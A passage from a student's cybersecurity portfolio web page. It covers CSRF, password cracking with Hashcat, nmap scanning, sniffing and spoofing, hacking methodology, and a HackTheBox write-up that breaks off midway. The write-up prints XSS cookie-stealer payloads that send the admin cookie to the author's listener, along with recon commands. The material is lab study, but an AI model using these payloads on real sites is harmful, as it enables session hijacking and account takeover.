flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre 